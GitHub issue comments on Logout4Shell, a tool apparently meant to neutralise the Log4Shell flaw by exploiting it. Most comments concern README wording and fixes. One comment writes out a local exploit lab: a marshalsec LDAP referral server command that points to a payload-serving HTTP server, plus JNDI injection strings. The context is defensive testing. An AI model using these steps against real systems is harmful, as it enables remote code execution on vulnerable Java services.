Hi,

The property you are using to disable lookups does not exist for versions older than 2.10: https://issues.apache.org/jira/browse/LOG4J2-2109

You should look for other alternatives like clearing the strLookupMap map (or at least, remove the jndi entry): https://github.com/apache/logging-log4j2/blob/master/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/Interpolator.java#L56

This map has had other names, in 2.0 it was there, but named lookups: https://github.com/apache/logging-log4j2/blob/log4j-2.0/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/Interpolator.java#L39

Hi there!

Your README currently says:

Apache is pervasive and comprises nearly a third of all web servers in the world—making this a potentially catastrophic flaw.

This sounds like it is talking about the Apache HTTP Server. That's a native-code web server program. The vulnerability here is in Apache Log4J, a logging library for Java. These projects are basically unrelated, aside from both being managed under the auspices of the Apache Software Foundation. Log4J is also pervasively used, but for different reasons.

Perhaps this text could be revised?

Permanent fixing maybe possible by checking version then rewriting the log4j jar with either forcing disable lookups or killing strlookup or something.

The issue may be some av who check if something is rewriting something it shouldn't be or things checked against checksums. (If these happen I don't particularly know enterprise security for programs and things).

Maybe provide permanent vaccine as an separate file? If file change fails only do temp vaccine?

Maybe make vaccine log more to show maintainers of the affected program that it has been used.

Thanks for the mitigation, it is very helpful to defend immediately while the slow cogs of open source turns, segue; to be a basic open source contributor it is expected to actually contribute upstream for the benefit of all

Not doing so is not in the spirit of open source

I see no one (yet) has done so; https://github.com/apache/log4j/pulls?q=is%3Apr+CVE-2021-44228

Perhaps it is being done elsewhere?

Won't an "immunized" server lose this fix on JVM restart? If so, this should be called out loudly and early in the README to avoid giving folks a false sense of security.

I tried doing step two and this happened

Error: Could not find or load main class marshalsec.jndi.LDAPRefServer
Caused by: java.lang.ClassNotFoundException: marshalsec.jndi.LDAPRefServer

How to fix it?

I was testing this demo and I noticed that the HTTP server responsible for providing the payload class file never receives a request for the class file, despite the LDAPRefServer responses pointing to the HTTP server.

The JNDI server is run with java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCETransient". The HTTP server is run with `python -m http.server -b 127.0.0.1 --directory ../Logout4Shell/target/classes 8888

Running the demo vulnrable program with java -cp /usr/share/java/log4j/log4j-core.jar:/usr/share/java/log4j/log4j-api.jar:target/classes/ Log4j outputs

Setting FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS value to True
WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by Log4jRCETransient (file:/home/schuyler/development/log4jgay/Logout4Shell/target/classes/) to field java.lang.reflect.Field.modifiers
WARNING: Please consider reporting this to the maintainers of Log4jRCETransient
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release
Lookup is an Interpolator - attempting to remove JNDI
22:37:01.712 [main] ERROR Log4j - ${jndi:ldap://127.0.0.1:1389/a}
22:37:01.764 [main] ERROR Log4j - ${jndi:ldap://127.0.0.1:1389/a}

Checking the LDAP server logs indicates that the vaccination did work as the LDAP server only sees one request.

Upon further investigation, it appears that the payload is running from the classpath, and not from the HTTP server. Copying Log4j.class to a different directory from target/classes/ and running it results in the payload not executing and no HTTP requests made to the server. cp target/classes/Log4j.class . && java -cp /usr/share/java/log4j/log4j-core.jar:/usr/share/java/log4j/log4j-api.jar:. Log4j results in

22:37:12.055 [main] ERROR Log4j - Reference Class Name: foo
22:37:12.093 [main] ERROR Log4j - Reference Class Name: foo

The LDAP server logs also show that two LDAP requests were made, which is not the expected result and implies that vaccination did not occur.

Hello,

I am in grade 10 and am working on a project. I have to document the whole process and interview a few professionals. I was wondering if you were willing to answer some questions (which will be super easy) over email. I hope you understand!

Thank you!

Hello!

There is a trivial typo at https://github.com/Cybereason/Logout4Shell/blob/ddf83d3a35e203aa9738b185f7b6921814bd7b12/README.md?plain=1#L34: git clone https://github.com/cybereason/Logout4Shell.ssh should be: git clone https://github.com/cybereason/Logout4Shell.git

Great works & Best Regards,

README says:

Software made or managed by the Apache Software Foundation (From here on just "Apache") is pervasive and comprises nearly a third of all web servers in the world—making this a potentially catastrophic flaw.

I do not see the point of this sentence. Using httpd from Apache has nothing to do with log4j, neither has commons-io. It's easy for a reader to conclude that all Apache software is bad. Did you intend this implication?

Furthermore, just because 33 % of the servers are using software from the Apache Software Foundation doesn't make all of these servers vulnerable to log4shell.